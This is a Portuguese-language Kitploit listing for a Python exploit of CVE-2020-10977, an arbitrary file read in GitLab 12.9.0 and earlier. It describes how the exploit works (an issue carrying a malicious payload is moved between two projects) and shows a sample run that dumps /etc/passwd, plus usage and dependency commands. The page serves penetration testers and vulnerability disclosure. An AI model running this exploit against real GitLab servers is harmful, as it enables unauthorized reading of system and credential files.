Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2020-10977 — GitLab 12.9.0 Arbitrary File Read | Kitploit
Ferramentas/GitHubGitHub/thewhiteh4t/cve-2020-10977
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed Teaming
GitHubthewhiteh4t/cve-2020-10977

cve-2020-10977

GitLab 12.9.0 Arbitrary File Read

Ver Repositório
7019há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-10977

GitLab 12.9.0 - Leitura Arbitrária de Arquivos

Alvo: 12.9.0 e anteriores

Testado: GitLab 12.8.1

Em um engajamento recente, encontrei uma instância do GitLab no alvo. Encontrei um PoC no Exploit-DB, mas ele usa LDAP para autenticação, que estava desabilitado neste caso. Então criei este script Python que pode autenticar usando a interface web. Assim como o PoC original, ele cria dois projetos, uma issue em um dos projetos com o payload malicioso e move essa issue de um projeto para outro, lendo automaticamente o conteúdo do arquivo.

Adicionei algumas coisas: o script perguntará pelo caminho absoluto que deseja ler, após exibir seu conteúdo, perguntará por outro caminho e fará a limpeza na saída. Ambos os projetos serão automaticamente excluídos ao sair do script usando CTRL+C

root@kitploit:~
$ python3 cve_2020_10977.py http://localhost twh p4ssw0rd
----------------------------------
--- CVE-2020-10977 ---------------
--- GitLab Arbitrary File Read ---
--- 12.9.0 & Below ---------------
----------------------------------

[>] Found By : vakzz       [ https://hackerone.com/reports/827052 ]
[>] PoC By   : thewhiteh4t [ https://twitter.com/thewhiteh4t      ]

[+] Target        : http://localhost
[+] Username      : twh
[+] Password      : p4ssw0rd
[+] Project Names : ProjectOne, ProjectTwo

[!] Trying to Login...
[+] Login Successful!
[!] Creating ProjectOne...
[+] ProjectOne Created Successfully!
[!] Creating ProjectTwo...
[+] ProjectTwo Created Successfully!
[>] Absolute Path to File : /etc/passwd
[!] Creating an Issue...
[+] Issue Created Successfully!
[!] Moving Issue...
[+] Issue Moved Successfully!
[+] File URL : http://localhost/twh/ProjectTwo/uploads/5f74b01d2b58e4a57ca55e1ac8778650/passwd

> /etc/passwd
----------------------------------------

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
.
.
.
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
.
.
.
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

----------------------------------------

[>] Absolute Path to File : ^C
[-] Keyboard Interrupt
[!] Deleting ProjectOne...
[+] ProjectOne Successfully Deleted!
[!] Deleting ProjectTwo...
[+] ProjectTwo Successfully Deleted!

Dependências

root@kitploit:~
pip3 install requests bs4

Uso

Registre uma conta no GitLab alvo e use as mesmas credenciais com o script.

root@kitploit:~
$ python3 cve_2020_10977.py -h
usage: cve_2020_10977.py [-h] url username password

positional arguments:
  url         Target URL with http(s)://
  username    GitLab Username
  password    GitLab Password

optional arguments:
  -h, --help  show this help message and exit

Créditos

  • Agradecimentos a vakzz por encontrar este bug no GitLab
    • HackerOne Report : https://hackerone.com/reports/827052
  • Agradecimentos a KouroshRZ por criar um PoC para este exploit
    • Exploit-DB : https://www.exploit-db.com/exploits/48431
Baixar ferramenta